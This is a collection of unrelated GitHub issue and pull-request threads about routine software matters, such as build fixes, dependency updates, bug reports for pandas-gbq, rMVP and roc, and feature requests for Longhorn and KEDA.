docs(app): fixes material build

The theme css files were reorganized at some point in Angular Material 0.7.x and the build is now failing because the files are missing. The styles on the site do not work correctly now with 0.7.x because the css is missing. This change will keep us on 0.6.x until we can update the theme issue.

Indeed, the theming system has been majorly refactored. There are no CSS files for the themes now; themes are built dynamically by JS.
(Speaking of changes, another major one (not related to theming) is that md-text-float has been deprecated in favor of the more powerful md-input-container.
Also, the way the show/hide-{size} attributes work has changed a bit (not sure if it actually affects as though).)
I'll try to take care of those issues some time next week (unless someone beats me to it :smile:).

That clears things up. Thank you @gkalpak!


Move import-name matching into methods on BindingKind

Summary
We have this pattern in a few places whereby we match against the import BindingKind variants and extract the "full_name" field. This PR just formalizes it behind some API. In doing so, I also simplified the implicitly-imported-module check a bit.

(Need to look into the ecosystem CI change, not intended.)


Add ability for the user to call a phone number from the browser

Tasks

[ ] Client: Make another form with just the phone number and a button to make a call
[ ] Server: Add a new route to generate a capability token that the client uses to authenticate to the Twilio Client

Resources:

https://www.twilio.com/docs/voice/tutorials/browser-calls-node-express
https://webrtc.org/

It seems the tutorial code uses the ClientCapability which seems to be deprecated.
Refactor the code to use Auth Tokens later.


Add function and Fixed some question

add new function sum, sum the number of objects that match the specified checks. This will return the number of objects counted by the search. If an error occurs during the sum, the sum may reflect a partial sum. The real sum will be higher than the returned value;
modify interface using latest of po6;
fixed memory leak of value_to_attributes in util.cc;
better free for hyperdex_client_destroy_attrs
add java and python interface

some patch fixed again


Reuse operandType in checkPrefixUnaryExpression

This was caught by jazzer as a timeout.
This code wasn't reusing operandType, so it was duplicating the check. If we nest this, this means that we're doing 2^n checks!
The test case here normally times out (and totally freezes tsserver; don't open it), but now finishes pretty much instantly.

@typescript-bot perf test this

Seems like no change. Let's test the rest.
@typescript-bot test this
@typescript-bot test top100
@typescript-bot user test this
@typescript-bot user test tsserver
@typescript-bot test tsserver top100
@typescript-bot run dt


gnu-utils: add findutils (find,xargs,locate)

findutils (gfind, gxargs, glocate) are installed with Homebrew,
$ brew install findutils

Please review this, and merge if it's fine.

@mcornella
could you please review this?

This is fine I guess. find, locate and xargs are all shipped within findutils. Can you also post a preview of those binaries?
$ which gfind glocate gxargs

% \which  gfind glocate gxargs
/usr/local/bin/gfind
/usr/local/bin/glocate
/usr/local/bin/gxargs

?

so should we also remap gupdatedb to updatedb?

Unless you want it, no, there's no reason to map everything. But it seems it is part of the locate command: https://en.wikipedia.org/wiki/Locate_(Unix)

thanks. I will use the gupdatedb to reindex the database to find files with glocate.

Ok, good to merge IMO :+1:
/cc @robbyrussell

oops.
please wait.

sorry, I thought locate does not work, but it works after sudo gupdatedb.
So, no problem. Hope to be merged.


Expose new HPA config around scaling behavior in ScaledObject

As of 1.17 the HPA has a few options to control scaling behavior as documented here
https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/#support-for-configurable-scaling-behavior
Would be good to expose these and configurable values in the ScaledObject

This issue is being tracked in https://github.com/kedacore/keda/issues/802


Add more sections

More topics can be added to sections of Blog like medicine , open source, etc and more

This project is good. Want to collaborate and communicate.

That's awesome. Should I assign the issue to you so you can work on the issue?

That's awesome. Should I assign the issue to you so you can work on the issue?

Sure! I 'll be glad to work on

There you go, @Bhanu-code I have assigned the issue to you. You can start working on the project now.
I recommend you to open a draft PR so even I can keep track of the work. Good luck :)

I would like to work on this section part

@Sanketmane2323 Assigned. Good luck!

@Sanketmane2323 Right now, Bhanu seems to be working on this issue, @Bhanu-code Any update?
You can collaborate and co-author the issue if you are open to it?

Ya, No problem to co author, I have been working on some another important project.

@Sanketmane2323 Assigned. Good luck


Pull test data from upstream instead of maintaining a local copy

Closes #48.

Please rebase and resolve conflicts :)

The test data from b2db328f9d5ccd6b12d74932e9dce2d1d3d7a16a needs to be PRd against https://github.com/package-url/purl-spec, not this repo

@Octogonapus is this ready to merge, then? :)

Ready from my end


[IMPROVEMENT] Implement Network Reconnection for Enhancing Replica Rebuilding Resilience

Is your improvement request related to a feature? Please describe (👍 if you like this request)
Replica rebuilding can fail due to networking issues such as dropped TCP connections when under high CPU load. When this occurs, the rebuilding process must restart. Although Longhorn can skip existing data blocks by comparing checksums of the source and destination, the rebuilding remains inefficient.
Describe the solution you'd like
To improve efficiency, Longhorn could attempt to reconnect and resume the replica rebuilding process after a connection drop. If reconnection attempts exceed a maximum number, Longhorn can abort the rebuilding due to the node's highly unstable network.
Describe alternatives you've considered

Additional context
The improvement is inspired by https://github.com/longhorn/longhorn/issues/8745

This is very important for multicloud environment.

Lately my setup started to have heavy problems with rebuilding failing with either "reset connection" or "EOF", while I dont observer errors or dropped packets on interfaces, only some squeezed packets, small amount (1/s) of RST segments, and some (1/s) retransmitted segments. Those packets generally appear during high load (over 500Mbps)

We have closer problem. we have data new 8 tb and we do replace 2 from replace 1. The speed new 100 MB to copy. It restart lots time from 0%. I add some log.
eof.txt
We wait that it will be reconnected. Why does it can do it?


Align expecto api

Part one of #5.  Thi aligns the Expect functions and testCase functions to be in line with Expecto.
This also adds running the tests via Expecto using a Configuration settings and defining an EXPECTO Constant and using it as compiler directive.  Now the tests can be run via node, webpack, or expecto.  This does not implement a dotnet runner yet.

LGTM, ready to merge when you are :wink:

I'm ready 👍

Published 2.3.0 and written some docs in the README for using Expecto, can you please check if they are good enough?

Now thinking of it, I should have probably published 3.0.0 oh well....

They look good! We could also show going down the path of not defining our own constants and #if FABLE_COMPILER.
The one thing we need to change is
 testCaseAsync "Test async code" <| fun () -> async {... }

should be
 testCaseAsync "Test async code" <| async {...}

Done! :smile:


Enable Style/SymbolArray Cop?

All of the violations of that cop can be automatically fixed by rubocop, so why not enable it and follow the style rubocop wants us to?

Which one is SymbolArray?

[:foo, :bar, :baz] => %i[foo bar baz], see https://www.rubydoc.info/github/bbatsov/RuboCop/RuboCop/Cop/Style/SymbolArray

Oh that. Yeah, no objections.


pine64(2gb) / armbian xenial(3.10) / kernel upgrade?

Hello ,
i have downloaded your image here somewhere around 0.5 for PineA64 Armbian Xenial and it runs excecptionally well (more stable probably than all the rock64 image i tried)
only it seems the graphics is underwhelming
so i wonder how i can upgrade to newer kernel ?
i tried with armbian-config (switch to "nightly") to no avail,
it seems stuck a 3.10
Linux pine64 3.10.107-pine64 #1 SMP PREEMPT Wed May 8 16:35:04 CEST 2019 aarch64 aarch64 aarch64 GNU/Linux
maybe on higher kernel there is HW-accelleration possible for mpv player?
thank you very much

To have GPU & HW you need to execute /usr/local/sbin/pine64_enable_sunxidrm.sh. It will setup Mali GPU driver.
You can also compile the updated kernel with those drivers but the biggest issue is that LCD doesn't work neither with Mali on legacy kernel nor or mainline kernel under any driver. If you use HDMI you should be ok

thank you very much,
but the folder is empty. where could i get the proper script for this
Armbian_5.83_Pine64_Ubuntu_xenial_default_3.10.107_desktop?

Armbian_5.83_Pine64_Ubuntu_xenial_default_3.10.107_desktop
I'm not sure about this one it applies to @ayufan-pine64 images which has filename signature like this
bionic-minimal-pine64-bspkernel-0.7.28-136.img

Hello ,
thanks, i have tried Bionic images, but was not able to install a desktop environment on it.
Also , the newer ARmbian Bionic images for Pine64 come withouth Desktop environment.


(PDB-3558) depend on puppet 5

Puppet Server, PDB, and Puppet will all be released at version '5' and
require version 5 of each other. Update the dependency expressed in PDB.
Support both 'puppet' and 'puppet-agent' in case distros ship a puppet 5 and
PDB can depend on that.
for PDB specifically, requiring puppet 5 means that we can rely on puppet 5
semantics in the various puppetdb termini. This will allow us to remove some
processing done in the terminus that is no longer necessary, possibly
optimizing performance, but cetainly optimizing maintainability.

Signed-off-by: Moses Mendoza<EMAIL_ADDRESS>

Per comment in PDB-3558, I don't think this will actually work until we tag builds of puppet-agent as 5.0.0. Not sure what the path forward is there but raising this PR so its visible.

Test FAILed

@MosesMendoza I changed this to >= 4.99 as we discussed

@mullr looks like the travis job failed - expected?

At the moment yes, fixing that elsewhere. Will rebase when it's fixed.
On Thu, Jun 15, 2017 at 2:24 PM, Moses Mendoza<EMAIL_ADDRESS>wrote:

@mullr https://github.com/mullr looks like the travis job failed -
expected?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/puppetlabs/puppetdb/pull/2321#issuecomment-308870036,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABfWbI0-sw1ev4C0s5H4pwsGos9xscPks5sEaEcgaJpZM4N6hB9
.

Test FAILed

Rebased on fixed master, builds should be ok now

Test FAILed

oops looks like i did it wrong - the rpm dependencies can't be wrapped in parens

15:18:45 error: line 130: Dependency tokens must begin with alpha-numeric, '_' or '/': Requires:         puppet (>= 4.99.0) | puppet-agent (>= 4.99.0)

Test FAILed

Test FAILed

CLA signed by all contributors.

Test FAILed

@puppetlabs-jenkins  retest this please

not sure what jenkins is up to. In any case, I previously retriggered the job set up to use the nighly repos and it passed, so I'm going to go ahead and merge this.

Test PASSed


about stuffthing_2017.json

Hello, fantastic work!
I want to know where I can find the file of "stuffthing_2017.json"

Hi there,
Thank you for your appreciation!
I believe the file "stuffthing_2017.json" is under the default folder if you download the COCO-Stuff dataset, you can check "https://github.com/nightrome/cocostuff10k" for more information.
However, this file is not necessary for training nor evaluation of our method, so you can simply forget it :)
Let me know if you have any questions.
Cheers,
Yue

Hi there,
Thank you for your appreciation!
I believe the file "stuffthing_2017.json" is under the default folder if you download the COCO-Stuff dataset, you can check "https://github.com/nightrome/cocostuff10k" for more information.
However, this file is not necessary for training nor evaluation of our method, so you can simply forget it :)
Let me know if you have any questions.
Cheers,
Yue

Yes, you are right, I forgot the category merging happened in coco_data.py.
I am on summer leave and not with the working station right now, I will get back to you once I confirm where the stuffthing_2017.json is located or I can simply upload one in this repo.
Sorry for the inconvenience.
Yue

Well done!
The result you have in your re-reproduction is reasonable, and please note that the results reported for COCO-Stuff27 in the paper are based on the “curated” split introduced by IIC, so it would be a bit higher than that on the original dataset.
Cheers,
Yue

Dear Yue,
I 've completely reproduced the results on IIC curated split. Thanks for your help!
Regards,
Huihui


Extracted CatalogRelationSchema proto from CatalogRelation proto

This small PR extracted CatalogRelationSchema proto from CatalogRelation proto so that the latter is derived from the former, as CatalogRelation is a subclass of CatalogRelationSchema. Note that there will be some follow-up PRs, including refactoring CatalogDatabase and adding CatalogCache.
It also added the missing serialization for the NUMA placement scheme.

LTGM. Merging.


Bug in if_exists='replace'

Hey, we're running into trouble with overwriting tables. When we want to overwrite an existing table, the table is recreated (you can see by the modification date), but nothing is inserted and it's left empty.
Here's the code to reproduce it:
> df = pd.DataFrame({'a': [1, 2, 3], 'b': [4, 5, 6]})
> df.to_gbq('tmp.table', 'my-project', if_exists='replace') # table doesn't exist yet
Streaming Insert is 100% Complete
 # The table was successfully created and there is data in the streaming buffer
> df.to_gbq('tmp.table', 'my-project', if_exists='replace')
Streaming Insert is 100% Complete
# Table was recreated but it's now empty

The streaming is successful both times.
The tables have the same schema and no error about schema is displayed.
After the first write, the table seems empty but there's data in the streaming buffer that you can query. After the second write, it's completely empty.
pandas-gbq version: 0.2.0
Pandas version: 0.20.3
OS: macOS High Sierra
Python: 2.7.10
Let me know if I can provide more info!

This is a bug in BigQuery API of which I’ve already created in the issue tracker. The data will eventually appear after about an hour.
It seems it should be fixed already:
https://issuetracker.google.com/issues/62160611

thanks for the super fast response @mremes-ng! It looks very similar, you're right, but it's clearly not fixed. Do you think the partitioning of the dataset can have anything to do with it?

This issue should no longer happen now that to_gbq uses load jobs to upload data.


PROJQUAY-479 - correct mirror probes

https://issues.redhat.com/browse/PROJQUAY-479
The livenessProbe and readinessProbe for mirror deployment should be the same as quay

@thomasmckay When the Quay worker is deployed as its own pod/container, does it provide a health check?

@kurtismullins not yet but this is the proper check for the operator

@kurtismullins not yet but this is the proper check for the operator

Until that health-check is in place, I believe this will cause the deployment to fail. We might want to get that implemented in Quay before modifying it here.

@thomasmckay Will not be able to accept this as the same health check that is used for Quay cannot be used for the repo mirror

@thomasmckay I think you can close this issue. It has been implemented as part of #187


DefinitelyTyped largely incompatible with ES6 emit due to export syntax

DefinitelyTyped is full of the old export = syntax. One random example I ran into:
https://github.com/borisyankov/DefinitelyTyped/blob/master/selenium-webdriver/selenium-webdriver.d.ts#L4847
But when I want to emit ES6, the compiler tells me I need to update that definition file to the new export default syntax. That might be fine for .d.ts files I own, but it's not reasonable to expect all of DefinitelyTyped to be updated by contributors.
I think one of these would be a good fix, in order:

Make a commit across all of DefinitelyTyped to update export = to export default. (assuming there is no legacy config where export default doesn't work.)
Allow export = syntax all the time, emit the right thing anyway
like 2. but using a compiler flag to opt-in

This is definitely something we've talked about a bunch in relation to the ES6 module changes. In an ideal world we don't break what exists but also help pull people forward to ES6 style modules asap.

For now I think my only choice is to fork DefinitelyTyped and fix this in
all the typings I use.
On Mon, Apr 27, 2015 at 11:13 AM Dan Quirk<EMAIL_ADDRESS>wrote:

This is definitely something we've talked about a bunch in relation to the
ES6 module changes. In an ideal world we don't break what exists but also
help pull people forward to ES6 style modules asap.
—
Reply to this email directly or view it on GitHub
https://github.com/Microsoft/TypeScript/issues/2929#issuecomment-96764407
.

The restriction in the compiler is not needed for ambient modules. we should remove it.

handled in #2929

:+1:

@mhegazy I think you meant #2935, since #2929 is this issue..

@ivogabe yes, you are correct. updating the comment. thanks!


Fix invalid repo urls after change username

Fix #10141

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@7743159). Click here to learn what that means.
The diff coverage is 33.33%.

@@            Coverage Diff            @@
##             master   #10150   +/-   ##
=========================================
  Coverage          ?   43.41%
=========================================
  Files             ?      576
  Lines             ?    79648
  Branches          ?        0
=========================================
  Hits              ?    34580
  Misses            ?    40790
  Partials          ?     4278

Impacted Files
Coverage Δ

models/user.go
49.21% <33.33%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7743159...771ec8c. Read the comment docs.

No need to backport to 1.11 since it was introduced in #9717

Hmm... So this functionality should really be folded in to https://github.com/go-gitea/gitea/blob/77431599f6708b87019a7e929d02fe8d1b95a8e7/models/user.go#L1073. There's a race here that could break things.

But if rename folder succeed but database changed failed? That will break the repository.

But if rename folder succeed but database changed failed? That will break the repository.
If database request failed, we can rename folder back.
But what if folder name rollback failed? :o
Will this be cause for panic?

The orgnization update needs a rewritten.


I've installed it, but the IDE is reporting that it cannot find it.

My IDE is reporting the error: 'Cannot find module react-cropper or its corresponding type declarations.' However, I still found the module file. I'm a newbie, please help me.

If you've install it, just reload IDE and it should work.


Remove work around for Android simulator

Use accept4 instead.
Updates #1445

@jshearer any chance to can confirm this has been fixed on Android's side?

I'm unable to find any evidence that this has been fixed. I could run it in an emulator to test, but even if it works on the emulator I know how to use, that does not mean that it also works on older versions of Android (mio supports back to API level 21). I recommend not making this change at this time.


roc test crash using expect with Dict

The following should compile and test correct.
expect
    dictionary =
        Dict.empty
        |> Dict.insert "Apples" 32
        |> Dict.insert "Orange" 64
    totalCount = (\count, _, qty -> count + qty)
    Dict.walk dictionary 0 totalCount == 96

It fails spectacularly using roc test with ~200 lines printed to Stderr. Note that it also fails in roc repl due to Issue 4323, however will work correctly in REPL if typed in manually without the expect.
Below is a sample of the error.
luke@192-168-1-108 roc-aoc-2021 % roc test ppppp.roc
thread 'main' panicked at 'There was no entry for `16.IdentId(3)` in scope Scope { symbols: {`16.IdentId(16)`: (Builtin(Bool), IntValue(IntValue { int_value: Value { name: "call5", address: 0x11d0f6450, is_const: false, is_null: false, is_undef: false, llvm_value: "  %call5 = call fastcc i1 @Bool_structuralEq_42f4aeb81c1ef81f771f3de8abca9dcf66901c575530e7672e4b1146474ae650(i64 %call4, i64 96), !dbg !471", llvm_type: "i1" } })), `16.IdentId(26)`: (Builtin(Str), PointerValue(PointerValue { ptr_value: Value { name: "const_str_store", address: 0x11d0f5e30, is_const: false, is_null: false, is_undef: false, llvm_value: "  %const_str_store = alloca %str.RocStr, align 8,

looks like it, yes. Did you have a fix in mind for this issue?


Autoplay2

Summary of the Pull Request
Autoplay feature added to music command
PR Checklist

[x] Closes part of #28
[x] Changelog entry

Testing

[x] Tested in packaged application

Detailed Description of the Pull Request / Additional comments

Autoplay function added

.play -auto song_name
When autoplay mode is on, next song will be automatically recommended according to youtube's 'next video' feature.

.play -off
Turns off autoplay mode

Skip command unnecessarily sending 'skipped ~' removed

Messages took up too much space

I think we can refactor the next function like this:
@database.using_database
def next():
   I18nExtension.set_current_locale_by_user(ctx.author.id)
   async def next_task():
       if len(guild_sl[gid].slist) <= guild_sl[gid].queue:
           await nextSong(gid, self.bot.user)

       guild_sl[gid].queue += 1
       await self.playMusic(ctx)

   # if number of songs > queue num
   if len(guild_sl[gid].slist) > guild_sl[gid].queue or guild_sl[gid].auto:
       fut = asyncio.run_coroutine_threadsafe(
             next_task(), self.bot.loop
       )
       fut.result()


isLive not working if i use two Order by

hello everyone
as i mention in the title .. the isLive not working if we use two order by .. thats mean if i use two OrderBy and i got i new data i need to rebuild my page to get the new data .. so Please fix this issue
cause this Package is Amazing and making my day every time
Thanks

Yo @saedfarashat
Unfortunately, at this moment I am not actively maintaining this particular package.
Can you try using the official firebase pagination package for firestore.
I'll keep this issue open and solve it in the future when I get some free time.

hello everyone as i mention in the title .. the isLive not working if we use two order by .. thats mean if i use two OrderBy and i got i new data i need to rebuild my page to get the new data .. so Please fix this issue cause this Package is Amazing and making my day every time Thanks

Yo @saedfarashat, if you are using two orderBy then you need a index in firestore or realtime db. Can you verify that you have created the necessary index by running the same type of query here?


Incomplete Manhattan plots

Hi,
I recently got this incomplete manhatten plot while running a rMVP script on a linux server (end of Chr 12 not mapped) This phenomenon does not occur when I am running the same script on my windows working station.
Thanks in advance for the help.

Thanks for raising this issue, the problem has been fixed for the latest version on GitHub, please reinstall rMVP from GitHub and try again. If it still exists, please feed back here, we are pleasure to figure it out.

Thanks for the quick reply. Unfortunately, this do not solve the problem. However, rMVP version 0.99 gives the desired results on one server and not on another one. It seems a bit off, that while using the exact same script, the SNP density plot uses different coloration.

Thank you. It seems better than previous version, as the density bar can completely cover the chromosome.
From the above figures, I am little confused which one is the output of the latest version of rMVP, I guess the first one should be. I have double checked the script of rMVP, the coloration of density bar is mandatorily fixed with c("darkgreen", "yellow", "red"), but not in the previous version, I think this is the reason why they look different for the density bar between the two versions you compared.
One more question, are those two Manhattan plots are come from different version of rMVP on the same trait?

You are right, the above one is from the version 1.0.2 and the lower one is based on version 0.99. The 2 Manhatten plots come from different traits and different versions of rMVP, just to visualize the problem.

I wanted to ask if there is a way to work-around for this issue. Below is the rMVP script that I run.
`library(rMVP)
library(data.table)
VP.Data(fileHMP = "Genome.hmp.txt",
sep.hmp="\t",
SNP.effect="Add",
filePhe="phenotype.txt",
sep.phe="\t",
filePC='PC_file.txt',
type.pc="double",
sep.pc="\t",
fileKin='Kinship.txt',
type.kin="double",
sep.kin="\t",
out="mvp.hmp",
priority="speed"
)
genotype <- attach.big.matrix("mvp.hmp.geno.desc")
Kinship <- attach.big.matrix("mvp.hmp.kin.desc")
Covariates <- attach.big.matrix('mvp.hmp.pc.desc')
map <- fread("mvp.hmp.map" , head = TRUE)
met_all <- read.table("phenotype.txt",header = T)
name <- colnames(met_all)
for(i in 2:length(name)){
gc()
imMVP <- MVP(
phe=met_all[, c(1,i)],
geno=genotype,
map=map,
K=Kinship,
CV.MLM=Covariates,
priority="speed",
ncpus=200,
vc.method="EMMA",
method.bin="EMMA",
threshold=0.01,
method="MLM",
col=c("steelblue4","cyan3"),
memo='dom',
file.output = T
)
}
`

Hi,
I just tried a new run with the dev version 1.0.3
The strange thing that we observed is, that the manhattenplots randomly stop to plot....., where the SNP density plot visualizes all Chromosmal positions, with the accurate SNP density...

Did you check if the p-values for the SNPs at the end of chromosome 12 are normal? how about visualising the GWAS results by function of MVP.Report?

The problem is that the output .csv files are missing those regions as well, its not only the figure. The problem with the plot is basically a downstream error, originating from the missing p-values in the .csv result files.

Sounds strange, what's the meaning of "missing those regions"? are the SNPs in this region not included in the .csv file or just having p-values but in unexpected values?

the snps are included, but with an NA instead of a value

Did you check the polymorphism of those SNPs? to calculate MAF for example, the p-value would result in NAs if there is no polymorphism (maf=0).

The SNPs below MAF=5% are already filtered out.
There is a clear polymorphism in those SNPs.

Thank you, is this case only appearing for one trait or all traits? and do all individuals have a phenotypic value for this trait? sometimes if the phenotypic values of the individuals holding the minor genotype are missing, then those SNPs will be non-polymorphism, but despite that,  I am just wondering why such big number of SNPs in a continuous region can encounter the same problem.

it occurs for all traits in my phenotype file.
The strange part is, when I restart the script it stops at a different SNP around the end of Chr12 (see first manhattenplot I posted and the last one; in the first one it almost cover all of Chr12, however in the last one only the beginning of Chr12 is maped).

Yes, I see it. I guess the reason why it stops at a different SNPs when you ran the same script is due to the different version of rMVP you used. To figure out what it goes wrong on earth, it would be better to send me your data for debugging if you don't mind.

No, even if I use the same version it stops at different positions.
Also, if I run the script on a different server it fully covers all SNPs.
It might be that a specific version a required r package is needed to run it properly.
Sorry, but I cannot share the data because the genotype information is confidential.

From what you described, it seems to be not a such simple problem, only occurs rarely in specific situation. Rather than the certain potential matter in the source script of rMVP , it should be attributed more to the system environment of the server, more likely to the OpenMP (not very sure).

Hi I was just curious what the effect and se columns are in the GWAS result files.
I guess the se is the standard error of the model, but I was not sure.
Thanks in advance.

The 'effect' and 'se' are the coefficient value and the corresponding standard error for each tested SNP, respectively. These two values can be used for summary statistics analysis.

Thanks a lot for your reply, I was curious about imputations in general in rMVP. Does rMVP impute missing values for traits ["NAs"]?

The individuals with missing phenotypic records are removed in the statistical analysis.

I guess the reason for the incomplete Manhattan chart may come from the data format conversion from HMP to MVP. This issue was fixed in 1.0.4 (see https://github.com/xiaolei-lab/rMVP/commit/194317ccef91f09f3b71bae553b6724e8099a087). Have you tried the new version?

hi,
thanks again.
I just did two run with the new version on the servers.
The first one looked nice, [But I still Chr12 was missing]

The rerun however did result in the same error.

Somehow, it randomly stops processing the SNPs.....

The issue proposed by @hyacz is a bug of reading genotype data in VCF format, if your genotype is not stored in VCF format, just ignore it, otherwise, please start to retry the latest version of rMVP (1.0.4) from data transformation.


Update the "What's new in ASP.NET Core 9.0" for .NET 9 Release Candidate 2

Description
Update the "What's new in ASP.NET Core 9.0" for .NET 9 Release Candidate 2
Page URL
https://learn.microsoft.com/en-us/aspnet/core/release-notes/aspnetcore-9.0?view=aspnetcore-8.0
Content source URL
https://github.com/dotnet/AspNetCore.Docs/blob/main/aspnetcore/release-notes/aspnetcore-9.0.md
Document ID
4e75ad25-2c3f-b28e-6a91-ac79a9c683b6
Article author
@Rick-Anderson
Related Issues

Noting that for Blazor, request streams is on #33693, which is scheduled for review in a couple of weeks.

Yes, it wasn't on whatever list I started with for 9.0. I discovered and added it as soon as I became aware. I'm ready to move forward with that PR after the assigned engineer comes in to assist with the two known open questions.

It looks like we don't have anything at all new for RC2 -- is that correct?

Updated to latest Bootstrap, jQuery, and jQuery Validation versions
The ASP.NET Core project templates and libraries have been updated to use the latest versions of Bootstrap, jQuery, and jQuery Validation, specifically:

Bootstrap 5.3.3
jQuery 3.7.1
jQuery Validation 1.21.0

@tdykstra Just the version updates for Bootstrap, JQuery, and jQuery Validation.


EDScout.exe not opening

I've installed the latest release of ED Scout and every time I attempt to launch the .exe file a CMD  prompt window flashes open then closed again with nothing actually installing, I have attempted to launch the .exe in admin mode and I disabled my anti-virus to see if that was what was stopping it

I'm having a similar problem, even with older version: download and launch, installer is open in background but does nothing.

This solution has worked for me thanks to @nmgsimulations guys.  It means stepping back in time slightly but works
#202

This solution has worked for me thanks to @nmgsimulations guys. It means stepping back in time slightly but works #202

Does not work anymore, either.


wish: better diagnostic instead of "TypeError: Cannot read property 'help' of undefined"

As I setup my runfile, I've got this error several times. I know the cause is in my own code, but the error message only points to the internals of runjs. It would be helpful if this condition was checked for with a try/catch and clearer diagnostic was emitted that pointed tot he line with the problem:
TypeError: Cannot read property 'help' of undefined
    at Object.keys.forEach.key (/path/node_modules/runjs/lib/script.js:95:24)
    at Array.forEach (<anonymous>)
    at describe (/path/node_modules/runjs/lib/script.js:92:20)
    at Object.main (/path/node_modules/runjs/lib/script.js:189:7)
    at Object.<anonymous> (/path/node_modules/runjs/bin/run.js:26:8)
    at Module._compile (module.js:652:30)
    at Object.Module._extensions..js (module.js:663:10)
    at Module.load (module.js:565:32)
    at tryModuleLoad (module.js:505:12)
    at Function.Module._load (module.js:497:3)
    at Function.Module.runMain (module.js:693:10)
    at startup (bootstrap_node.js:188:16)
    at bootstrap_node.js:609:3

In src/index.js, it looks like the intent is there to validate the input as receiving a value that is a function:
export function help(func: () => void, annotation?: string | Object) {

But when this code is compiled into ./lib/index.js, the validation is currently stripped, allowing undefined values to be passed through:
function help(func, annotation) {
  func.help = annotation;
}


[11.x] Fix Laravel 11 command choice test issue

Fixes the issue outlined in #51020, which practically implements what @gcjbr suggested.
Now, when the following test is run:
$this->artisan('question')
     ->expectsQuestion('What is your name?', 'Taylor Otwell')
     ->expectsQuestion('Which language do you prefer?', 'PHP')
     ->expectsOutput('Your name is Taylor Otwell and you prefer PHP.')
     ->doesntExpectOutput('Your name is Taylor Otwell and you prefer Ruby.')
     ->expectsOutputToContain('Taylor Otwell')
     ->doesntExpectOutputToContain('you prefer Ruby')
     ->assertExitCode(0);

It will correctly display true, whereas before it failed.
I am unsure if I have to write tests for this specific case. Feedback is welcome.

Nice, learned from your PR, thanks!


overhaul psi4 detection parsing

Description
The existing psi4 detection has worked great when psi4 is in order and conda environments prevail, but #389 and #292 show that if something is set up a little wrong with psi4, then everything devolves into an IndexError with the existing psi4 detection.
This PR improves matters by

in the complete-the-psithon-psiapi-pair blocks:

only doing string-safe operations on stdout
forming clearer error responses
catching stderr instead of tossing it and parsing stdout anyways
getting rid of env passing. As @Flamefire pointed out, the psi4 module is already in sys.path or which_import wouldn't have worked. unlike #389, code is now passing no env so current env is used (and can provide numpy, etc.). I've tested that there's no need to provide env=os.environ to get current env.
checking returncode
it was also not showing error messages when psithon found but not psiapi b/c final check was of psithon only. now checking at the weak point

in the version fn:

only doing string-safe operations on stdout
catching stderr instead of tossing it and parsing stdout anyways
checking returncode

Hopefully this will be more robust. closes #389 closes #391 closes #292
Changelog description

Status

[x] Code base linted
[x] Ready to go

Yes, if there was any good reason behind that env reset, I haven't been able to reconstruct it. It'll be nice to get good traceback back, rather than remembering that IndexError in psi4 found() means the version/tag is broken.


Feature: DIVEInfo class.

1. Why is this change necessary?
Adds Info access to DIVE to find session specific information.
2. What does this change do, exactly?
Add static DIVEInfo class.
3. Describe each step to reproduce the issue or behaviour.
4. Please link to the relevant issues (if any).
5. Checklist

[x] I have rebased my changes to remove merge conflicts
[x] I have written tests and verified that they fail without my change
[x] I have written or adjusted the documentation according to my changes
[x] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

@ffrank913 do you think a 'isMobile' function would help in the future. For handling the case, when AR is not supported, but we want to show different messages/hints on the website. (like QR code vs error message) ?
This would not be a requirement just an idea :)

@ffrank913 do you think a 'isMobile' function would help in the future. For handling the case, when AR is not supported, but we want to show different messages/hints on the website. (like QR code vs error message) ? This would not be a requirement just an idea :)

I agree that isMobile might be a helper, although, I think the QR modal message should only say "The current device doesnt support this feature, please scan the QR code with a compatible device" (and we have in the bottom of the modal the compatibility specs), that would cover both desktop and mobile as well without differentiation.

@ffrank913 do you think a 'isMobile' function would help in the future. For handling the case, when AR is not supported, but we want to show different messages/hints on the website. (like QR code vs error message) ? This would not be a requirement just an idea :)

I agree that isMobile might be a helper, although, I think the QR modal message should only say "The current device doesn't support this feature, please scan the QR code with a compatible device" (and we have in the bottom of the modal the compatibility specs), that would cover both desktop and mobile as well without differentiation.

Maybe lets ask peter on what he thinks, but having a helper function would not be a bad thing in my opinion.

@Deristes @dfrancos-hub
Would you please check this again? :)
I removed almost all the stuff that is based on the userAgent and went in a more feature-detective way.


Change syntax for better compatibility with original obsidian

Change --- to ___ to create new slide

This is a bit.. odd. --- works as a separator in obsidian (so you have a HR where slide breaks are when you aren't using the standard obsidian preview).
As a long-time user of reveal (and who still refers to the docs all the time because who has time to remember that?), changing the syntax would be strange...

I agree with @ebullient here. The --- for slide separation is used in almost all markdown-to-presentation conversion tools. It would be quite odd to move away from it.
Some examples:

reveal.js markdown support
reveal.md
mdx-deck

I agree both of you and since it's configurable through frontmatter i wont change the default values.

I agree with @ebullient here. The --- for slide separation is used in almost all markdown-to-presentation conversion tools. It would be quite odd to move away from it.
Some examples:

reveal.js markdown support
reveal.md
mdx-deck

Both options will have to work so if you do so


set TINYINT and UNSIGNED INT not working

I'm using egg-orm when encounting this problem and i think it is related with leoric.
Example:
import { Application } from 'egg';

export default (app: Application) => {
  const { STRING, INTEGER, DATE } = app.model.DataTypes;

  return app.model.define('User', {
    name: STRING,
    tinyInt: INTEGER('tiny'),
    unsignedInt: INTEGER('').UNSIGNED,
    deletedAt: DATE,
  }, {
    tableName: 'users',
  });
}

Table in database:

try this:
const { STRING, INTEGER, DATE, TINYINT } = app.model.DataTypes;

app.model.define('User', {
  name: STRING,
  tinyInt: TINYINT,
  unsignedInt: INTEGER.UNSIGNED,
  deletedAt: DATE,
}

try this:
const { STRING, INTEGER, DATE, TINYINT } = app.model.DataTypes;

app.model.define('User', {
  name: STRING,
  tinyInt: TINYINT,
  unsignedInt: INTEGER.UNSIGNED,
  deletedAt: DATE,
}

It seems that TINYINT not included in DataTypes. I will look into that later.

yikes! TINYINT indeed is not supported yet. I'll look into it.
btw, if the intention is use TINYINT(1) to represent boolean in MySQL, you can use BOOLEAN directly.

Got


convert: unable to read font '/usr/share/fonts//.pcf.gz @ annotate/annotate.c/RenderFreetype/1483

OS: archlinux, newest version of all packages
